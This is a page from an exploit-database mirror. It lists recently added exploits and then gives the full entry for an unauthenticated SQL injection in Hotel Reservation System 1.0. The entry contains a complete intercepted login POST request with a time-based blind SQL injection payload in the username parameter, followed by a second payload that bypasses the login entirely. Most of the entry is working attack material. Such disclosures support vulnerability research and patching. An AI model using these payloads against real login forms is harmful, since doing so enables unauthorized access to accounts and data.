
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
31 lines
No EOL
1.3 KiB
Text
31 lines
No EOL
1.3 KiB
Text
# Exploit Title: Hotel Reservation System 1.0 - SQLi (Unauthenticated)
|
|
# Google Dork: None
|
|
# Date: 01/29/2022
|
|
# Exploit Author: Nefrit ID
|
|
# Author Website: https://manadocoder.com
|
|
# Vendor Homepage: https://github.com/dhruvmullick
|
|
# Software Link: https://github.com/dhruvmullick/hotel-reservation-system
|
|
# Tested on: Kali Linux & Windows 10
|
|
|
|
===Exploit Url===
|
|
http://localhost/hotel-reservation-system-master/login.php
|
|
Method: POST
|
|
Parameter: username
|
|
===Burpsuite Proxy Intercept===
|
|
POST /hotel-reservation-system-master/loginsession.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 46
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://localhost/hotel-reservation-system-master/login.php
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: uid=1
|
|
Connection: close
|
|
|
|
username=u1337#' AND (SELECT 4775 FROM (SELECT(SLEEP(5)))BzJL)-- dvSZ&password=p1337&ok=Submit
|
|
I can also bypass login by using the following payload: ' or '1'='1'# on the parameter username |